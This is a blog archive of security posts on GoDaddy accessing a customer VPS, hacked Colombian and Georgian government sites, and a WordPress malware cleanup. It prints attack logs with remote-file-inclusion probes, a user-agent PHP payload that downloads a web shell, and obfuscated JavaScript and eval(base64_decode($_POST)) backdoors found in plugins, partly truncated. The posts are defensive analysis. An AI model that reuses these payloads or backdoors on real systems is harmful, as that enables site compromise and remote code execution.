Archives for February 2010

GoDaddy Security update

My last post GoDaddy store your passwords in clear-text and may try to SSH to your VPS without permission got a lot of traction and it reached the ears of the GoDaddy people!

I just got off the phone with Neil Warner, GoDaddy’s CSO (Chief Security Officer) and he explained the situation to me.

First, I was glad that they heard the customers, heard the complains and took the time to look at it. That was his explanation:

  1. They take security serious and spend a lot of money on intrusion/malware detection to protect their customers
  2. They have a security team 24/7 monitoring all their shared/VPS and private servers
  3. When they detect any issue, they try to fix the problem and that’s why they tried to access my box
  4. They store all the passwords encrypted (not one-way hashed which is the recommended), and they can only be retrieved and reversed after a member of the security team opens a ticket and explains the reason for using the password (like to investigate malware)

One thing that made me feel better was that they actually have a process in place to access the passwords and they hold their people accountable for that. Having them encrypted or in clear-text doesn’t make much a difference, if the process to recover them is open to anyone in their staff…

He said that most users like their free incident response and malware removal and the way they deal with security issues.

He also said that they should have contacted me before accessing the box, warning me of the possible malware, and that they will do that from now on (good to know).

I am happy they called and explained the situation. +1 for GoDaddy for being open, explaining the issue and trying to improve.

GoDaddy store your passwords in clear-text and may try to SSH to your VPS without permission

*UPDATE: I just got off the phone with Neil Warner, GoDaddy’s CSO (Chief Security Officer) and he explained the situation to me. Check it out: GoDaddy Security update

I have been a GoDaddy user for a while and never had problems with them. In fact, differently than some people, I had great support and service from them.

However, one recent situation is making me change my mind about them…

I have my domains and a bunch of VPS (virtual private servers) with GoDaddy and one of those servers is/was hosting the Sucuri’s official site.

I am a bit paranoid about security and on all my servers I switch the SSHD port to a different one and restrict to only a few IP addresses. On the offical SSH port (tcp 22), I install a honeypot to detect ssh scans and which passwords/users they use (you can see some of my analysis in this post: Honeypot analysis – Looking at SSH scans)

Anyway, early this year I started posting information about web-based malware and a few days after I did that, I saw on my honeypot logs:

Jan 8 06:55:28 d1 sshd[27670]: Failed password for [mygodaddyuser] from port 49271 ssh2
Jan 8 06:55:30 d1 sshd[27670]: Failed password for [mygodaddyuser] from port 49271 ssh2
Jan 8 06:56:38 d1 sshd[28528]: User root from not allowed because listed in DenyUsers
Jan 8 06:56:38 d1 sshd[28528]: Failed none for invalid user root from port 50727 ssh2
Jan 8 06:56:53 d1 sshd[28528]: Failed password for invalid user root from port 50727 ssh2
Jan 8 06:56:55 d1 sshd[28528]: Failed password for invalid user root from port 50727 ssh2

And checking my honeypot logs, I saw:

Jan 8 06:55:28 d1 sshd[27670]: hh: user: [mygodaddyuser]|pass: [MYGODADDYPASS]
Jan 8 06:55:30 d1 sshd[27670]: hh: user: [mygodaddyuser]|pass: [MYGODADDYPREVIOUSPASS]
Jan 8 06:56:53 d1 sshd[28528]: hh: user: root|pass: [MYGODADDYPASS]

I was shocked! My first thought was that someone had stolen my GoDaddy password (that I use to login to their web page) and even my previous password! (I had changed my password a few weeks before that).

I quickly ran and started a panic mode incident response, changed passwords and started to look how I got hacked and what was going on, when I decided to look at the IP address that tried to access my box:

$ whois

OrgName:, Inc.
Address: 14455 N Hayden Road
Address: Suite 226
City: Scottsdale
StateProv: AZ
PostalCode: 85260
Country: US

NetRange: –
NetHandle: NET-64-202-160-0-1
Parent: NET-64-0-0-0-0
NetType: Direct Allocation
RegDate: 2002-10-22
Updated: 2007-06-14

Hum.. It came from Godaddy’s own network. I was about to send an email to, whem I got this email:

It has come to our attention that the [your site name] may be infected by malware. We would like to investigate this matter further, however the login credentials we have on file for your server do not allow us access to the server. In order for us to proceed to investigate the possible infection, we require that you provide the proper login credentials to access your server with administrative rights within 48 hours or by January 10th @ 2 pm MST (GMT -0700) by using our “Password Sync” option, or your server will be suspended. To update the logon information, please follow these steps:

Log into your account.
Click on the ‘My Account’ link.
Click on the ‘Dedicated/Virtual Dedicated Servers’ link.
Select the server you need to update the log on information for.
Click on the ‘Open Manager’ link.
Click on the Support: Sync Passwords button.
Enter the current SSH and root information and save the information.

WTF!WTF!WTF! Yes, I cursed them for a while! Why?

  1. They tried to SSH to my “private” server without my authorization!
  2. They wanted my ROOT password and SSH access!
  4. They almost gave me a heart attack

I don’t know if anyone find that horrifying, but I do! I would understand storing the initial password for the server in clear-text or something like that. But the main password from my GoDaddy account? Giving their admins access to them so they can SSH to my box? Keeping my old password in clear-text too? SSHing to my box without asking my first? Wow….

The end of the story… After I calmed down, I contacted them and explained about my web-based malware security research and told that I would not give anyone SSH access. If they really required that I would switched providers. They did some investigation, apologized and let me stay… How nice they are…

.ORG whois reporting DNSSEC status

I was glad to see a handful of whois updates today coming from all the .ORGs that we are monitoring at Sucuri.

Basically now at the end of the Whois, it is showing if that domain is using DNSSEC or not. Example for

$ whois

Because of that I got hundreds of notifications about those changes:

Sucuri nbim: whois modified
> DNSSEC:Unsigned

Sucuri nbim: whois modified
> DNSSEC:Unsigned

Sucuri nbim: whois modified
> DNSSEC:Unsigned

And many more… Want to stay updated to what is happening with the whois information of your domains? What about DNS changes, site changes, blacklisting status, etc? Try our Internet presence security monitoring for free to get started.

Colombia Government sites hacked (and spreading malware)

You would expect that a security-related web site would be secure, no? What about an official web site from a Government? Should that be safe? What about a government web site about security? Shouldn’t that be ultra super secure? (yes, I am joking :) )

That’s not always the case… At Sucuri Security we have two main goals: Monitor your visible Internet presence (via DNS, site content changes, whois, blacklisting status, etc), and to also monitor what is not visible (or easily accessible). So we run multiple honey pots, we monitor IRC chats used by botnets and attackers, multiple forums, etc. All with the goal to protect our clients and notify them if we see any issue in the “underground”.

With this work, we get to see a lot of sites being exploited and attacked. Most of them are small sites, but sometimes we see big companies, .govs and many .edus in there.

One of those government web sites are from Colombia. And they are not a normal .gov site, they are about security and about cyber crimes.

They have two web sites that are currently hacked: (related to solving cyber crimes) and (related to security in general). We tried to contact them and got no replies. We would wait a little more to publish it, but since clem1 mentioned them on our post about Georgia government sites hacked, I think it is time to use full-disclosure to get them fixed.

The first time we saw them was on Dec of last year:

a.b.147.154 – – [22/Dec/2009:15:08:51 -0200] “GET //init_basic.php?GALLERY_BASEDIR= HTTP/1.1″ 404 36 “-” “Mozilla/5.0”
a.b.147.154 – – [22/Dec/2009:15:08:51 -0200] “GET /xxx/init_basic.php?GALLERY_BASEDIR= HTTP/1.1″ 404 36 “-” “Mozilla/5.0”

They were being used in an RFI (remote file inclusion) attack:

$ lynx –source –dump< ?php /* Fx29ID */ echo("FeeL"."CoMz"); echo("FeeL"."CoMz"); /* Fx29ID */ ?>

We kept seeing the same attack for a while, with just a few variations (using file id.txt instead of the respon1.txt):

a.b.21.76 – – [27/Jan/2010:09:22:07 -0200] “GET /index.php?option=com_frontpage&Itemid;=&mosConfig.absolute.path;= HTTP/1.1″ 404 36 “-” “Mozilla/5.0”

That seemed to have stopped on January 28th. Their web sites even went offline, which I hope they were fixing it. However, on February 14th, it started all over:

a.b.147.154 – – [14/Feb/2010:02:49:47 -0200] “GET /xxx//delete_comment.php?board_skin_path= HTTP/1.1″ 404 36 “-” “Mozilla/5.0”
a.b.147.154 – – [14/Feb/2010:02:49:47 -0200] “GET //delete_comment.php?board_skin_path= HTTP/1.1″ 404 36 “-” “Mozilla/5.0”

Same RFI attack:

$ lynx –source –dump
< ?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>

Plus, in addition to be hosting the malware, it is also actively scanning/attacking others (their IP is /xxx///bbs//skin/sirini_simplism_gallery_v4/setup.php?dir=http://xx?? /xxx///wedding//index.php?option=com_frontpage&Itemid;=&mosConfig.absolute.path;=yy??

What’s next? Hopefully they will read it and fix the problem.

PHP in the user agent (attacking log analysis tools?)

Lately I started to see a few web-based attacks with a php script inside the user agent. Something like this:

a.b.229.82 – – [19/Jan/2010:22:43:39 -0700]
“GET /index.php?page=../../../../../../../../../../../../../../../../../../../../../../../../..
/../../proc/self/environ HTTP/1.1″ 200 3820 “-” “< ? echo
‘_rce_’;echo php_uname();echo ‘_rce_’;$ch=curl_init();curl_setopt($ch, CURLOPT_URL,
‘’);curl_setopt($ ch, CURLOPT_CONNECTTIMEOUT, 15);curl_setopt($ch,
CURLOPT_TIMEOUT, 15);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$cont=curl_exec($ch);
curl_close($ch);$fh=fopen(‘doc.php’, ‘w’ );fwrite($fh, $cont);fclose($fh); ?>

So, inside the user agent it is starting a PHP script that tries to download the file, which is the r57shell.php.

My guess is that it is trying to exploit a web stats or log analysis tool (like webalizer, google analytics, ossec, etc), but I couldn’t find which one is vulnerable to that. Any ideas?

**this is what the r57shell looks like:;=blacklist&seeall;=1&detail;=eadbf8dc38276dba3df4d6db9608db74

Georgia government sites hacked (and spreading malware)

*UPDATE: A few hours after this post, they removed the malware from and other sites. I am glad we had some effect.

You know, you would think that after all the attacks that Georgia suffered in 2008 they would be more careful about the security of their sites.

Well, not really. Even after I sent a bunch of emails to all their addresses that I could find and requested on twitter for contacts in the .ge government, nobody replied and they are still hacked, spreading malware and attacking other systems.

It doesn’t look like it is being caused by the Russians or anything like that. And the attackers this time didn’t defaced their web page. They just added some malware and scripts to attack others.

How do I know? We run multiple honeypots to detect web-based attacks and malware. And guess who started attacking us?


I started seeing the first attacks on January 12th, trying to load RFI (remote files) from

a.b.147.154 – – [12/Jan/2010:14:05:43 -0200] “GET ///?_SERVER[DOCUMENT_ROOT]= HTTP/1.1″ 200 6312 “-” “Mozilla/5.0”
a.b..147.154 – – [12/Jan/2010:14:05:46 -0200] “GET /xxx//?_SERVER[DOCUMENT_ROOT]= HTTP/1.1″ 200 7281 “-” “Mozilla/5.0”

A few days later I started seeing more attacks using malware hosted from

a.b.63.102 – – [14/Jan/2010:03:04:23 -0200] “GET /xxx*.php?page= HTTP/1.1″ 200 36 “-” “Mozilla/5.0”

That’s when I decided to look deeper at the issue. The respon1.txt is a common file used on RFI attacks:

$ lynx –dump –source
< ?php /* Fx29ID */ echo("FeeL"."CoMz"); echo("FeeL"."CoMz"); /* Fx29ID */ ?>

Then I went to look at this “album” directory and that really shocked me. When you visit you can see a full collection of malware:

From the showing credentials to control a botnet, to flooding tools, remote shells, they got everything.


A look at the top of the simbah.txt shows a “funny” message:

# %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
# % private hackers pwned your box %
# %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%

Even a remote proxy is there at

Attacking others

If that was not bad enough, by the end of January I started to see their own IP addresses attacking others: – – [01/Feb/2010:04:41:09 -0200] “GET //include/write.php?dir= HTTP/1.1” 200 36 “-” “libwww-perl/5.805” – – [01/Feb/2010:04:41:09 -0200] “GET /xxx/include/write.php?dir= HTTP/1.1” 200 36 “-” “libwww-perl/5.805” – – [23/Jan/2010:16:07:29 -0200] “GET /xxx/index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS;=&mosConfig;_absolute_path= HTTP/1.1” 200 36 “-” “Mozilla/5.0”

So, at the end, we have some sites from the Georgia government hosting malware and these 4 attacking others: – (redirects now to – – –

If you have any contact at the Georgie government, let them know about this post. I have been trying to speak with someone since January without success. Maybe with some extra exposure they will notice and fix it.

Removing Malware from a WordPress blog – Case Study

This post is very specific to one type of infection, there are many different types of infections and symptoms, do not be discouraged if the scenario does not fit your situation.

Early this week we were hired to remove some malware from a quite popular web site. The malicious code was there for a little while and the site got blacklisted by google. That’s how the owner noticed it.

Everytime someone tried to visit it (either using Chrome or Firefox) or searched for this site on google, that ugly Report attack Site” message would show up.

Uh-oh, not good for a site owner that makes money with ads and can’t afford losing users. If they had been using our Web-based Integrity monitor, or recognized the early symptoms of a hacked site, that would not have happened, but since they didn’t, now it was time to fix the problem. Remember, no matter what CMS your site runs on, be it WordPress, Joomla, Drupal or something else, we can help fix and prevent malware on your website.

1-Understanding the problem

The first thing we did was to look where and how the code was showing up. We used a simple dump tool to see the source page (lynx is a command-line tool available on most Linux systems):

$lynx –source –dump [siteinquestion]

It shows the whole page source and by analyzing it we saw the following strange javascript (a bit modified to protect the innocent):

(function(){var OgDs=’%’;var FJQr=(‘v_61r_20_61_3d_22Scr_69ptEn_67_69ne_22_2c_62_3d_22_56ers_69on()+_
22_2cj_3d… _64ex_4ff(_22Chrome_22_29_3c0)_26_26(u_2ei_6ede_78_4ff
(_22_57_69_6e_22)_3e0).._3b_7d’).replace(/_/g,OgDs);var NF1=unescape(FJQr);eval(NF1)})();

We also used our site scanner (free) and it confimed that it was indeed malicious.

2-Analyzing the javascript

There are multiple ways to analyze a malicious Javascript, and we chose the easier one. We see that they added an escaped javascript, unescaped and used the function eval to parse the content. I copied over the javascript to a local file and modified the final “eval” function for the “alert” one. Now, instead of executing the code, it will print it.

var a="ScriptEngine”,b=”Version()+”,j=””,u=navigator.userAgent;if((u.indexOf(“Chrome”)<0)&&(u.indexOf(“Win”)>0)&&(u.indexOf(“NT 6”)<0)&&(document.cookie.indexOf(“miek=1”)<0)&&(typeof(zrvzts)!=typeof(“A”))){zrvzts=”A”;eval(“if(window.”+a+”)j=j+”+a+”Major”+b+a+”Minor”+b+a+”Build”+b+”j;”);document.write("src=//martu”+”</ script>”);}

So, the unescaped code loads another script from the site After searching a bit, this seems to be an old attack (from mid-2009), that somehow is still running around. The is now unreachable, so the good news is that the attack is not doing anything against the users.

3-Cleaning up WordPress

Once we found what the code was and what it was doing, now it was time to remove it from the site. That’s what we did:

  1. Backup the whole WordPress database (using the Export tool and via an SQL dump)
  2. Back the whole WordPress directory for analysis and removed it from the site
  3. Changed all passwords, unused accounts and services and cleaned up the box
  4. Reinstalled WordPress from scratch (last version), re-imported the database (after checking that it was safe) and reinstalled their theme from scratch (to make sure it was not hacked too).
  5. Worked with Google to get the site removed from their blacklist

4-Analysis of the malware

Once the site was clean and the client happy, we went to do a better analysis of the attack. First, we did a diff between their WordPress version and the original one (they were on version 2.8):

$ diff -r -i –strip-trailing-cr -b -B sitedump/public_html wordPress
Only in sitedump/public_html/wp-content/plugins: multi-level-navigation-plugin1
Only in sitedump/public_html/wp-content/plugins: order-categories
Only in sitedump/public_html/wp-content/plugins: seo-automatic-links
Only in sitedump/public_html/wp-content/plugins: wp-contact-form
Only in sitedump/public_html/wp-content/plugins: wp-db-backup

We also did a diff between the original theme and the one they used and no major changes were found. With that, it was clear to us that the problem was in one of the plugins.

We started by searching for that javascript code in the plugins directory and nothing was returned. That means that the code was probably escaped (hidden) in some way. So we searched for base64_decode or eval (PHP functions generally used by malware authors):

multi-level-navigation-plugin1/images/image.php:< ? php
eval (base64_decode(
yNjkzYTYyNzQ2YzY0NmY3YTY1NzInOw==’)); ?>
multi-level-navigation-plugin1/images/  gifimg.php:< ? php eval base64_decode("aWY oaXNzZX..zZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw== ; ?>
wp-db-backup/wp-db-backup.php:< ? php if(!function_exists(‘tmp_lkojfghx’)){if(isset($_POST[‘tmp_lkojfghx3’]))eval (  
wdCBsYW5ndWFnZT1qYXZhc..2NyaXB0PjwhLS0gCPC9zY3JpcHQ+’));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all(‘#< script(.*?)#is’,$s,$a))foreach($a[0] as $v)if(count(explode(“n”,$v))>5){$e=preg_match(‘#[‘”][^s'”.,;?![]:/
()]{30,}#’,$v)||preg_match(‘#[([](s*d+,){20,}#’,$v);if((preg_match(‘#bevalb#’,$v)&&($e||strpos($v,"fromCharCode’)))||($e&&strpos;($v,’document.write’)))$s=str_replace($v,”,$s);}$s1=preg_replace(‘#< script language=javascript>< !– n(function(.+?n –>#’,”,$s);if(stristr($s,'< body’))$s=preg_replace(‘#(s*< body)#mi’,TMP_XHGFJOKL.’1′,$s1);elseif(($s1!=$s)||stristr($s,’ < /body’)||stristr($s,'< /title>’))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS[‘tmp_xhgfjokl’])call_user_func($GLOBALS[‘tmp_xhgfjokl’]
,$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v[‘name’])==’tmp_lkojfghx’)return;else $s[]=array($a==’default output handler’?false:$a);for($i=count($s)-1;$i>=0;$i–){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start("tmp_lkojfghx’);for($i=0;$

So, these 3 files wp-db-backup/wp-db-backup.php, image.php and gifimg.php had possibly something hidden. To analyze the code, we did the same thing we did with Javascript. We modified the “eval” function for “echo” to see what it was doing. On the wp-db-backup.php we removed the encoded string and decoded it externally using the base64 command line tool:

$ php multi-level-navigation-plugin1/images/ image.php
if(isset($_POST[‘e’]))eval ( base64_decode (
$_POST["e’]));echo ‘32303d2e34332e3230382e3231323a64696865746172693a62746c646f7a6572′;
$ php multi-level-navigation-plugin1 /images/  gifimg.php
if(isset($_POST["e’]))eval (base64_decode(

Analysis for the wp-db-backup.php:

echo "PHNjcmlwdCB..pOwogLS0+PC9zY3JpcHQ" | base64 -d
< script language=javascript>>!–
(function(){var OgDs=’%’;var FJQr=(‘v_61r_20_61r_2eu_j_3b_22)_3b_64_6fc_75ment_2e_77_72ite(_22_3cscr
eplace (/_/g,OgDs);var NF1=unescape(FJQr); eval (NF1)})();

So, all of them had a backdoor to allow the attacker to execute any PHP script (and command) they wanted on the box (see eval(POST)) and the wp-db-backup.php had this script to create the malicious javascript on all the pages.

Lessons learned

First, always monitor your systems. If they had a HIDS installed (like the open source OSSEC) it would had detected the modification on those files.

Second, if they had used our Web-based Integrity monitor this problem would be detected way earlier too.

Third: Keep your log files stored longer. Our analysis was not as completed, because we couldn’t go back in time to see when it happened.

Lastly, keep your WordPress updated and use strong passwords! That’s your first line of defense to avoid these problems.

If this scenario did not match your scenario and you require professional support feel free to look into our Website AntiVirus product or check your website via our free Online Security scanner (SiteCheck). blacklisted by SpamHaus XBL

Update: Spamhaus contact us to let us know that they removed amazon from the blacklist and are investigating the issue.

SPAMHAUS has various blacklists and one of them is the XBL:

“The Spamhaus Exploits Block List (XBL) is a realtime database of IP addresses of hijacked PCs infected by illegal 3rd party exploits, including open proxies (HTTP, socks, AnalogX, wingate, etc), worms/viruses with built-in spam engines, and other types of trojan-horse exploits.”

Well, this morning I got this notification from Sucuri Internet Monitor:

< OK: Host clean.

> WARN: Host blacklisted.

First I thought that something was wrong, but then I double checked:

$ host has address

And if I visit I see that it is still blacklisted:
I assume it is a false positive… Anyone know more information?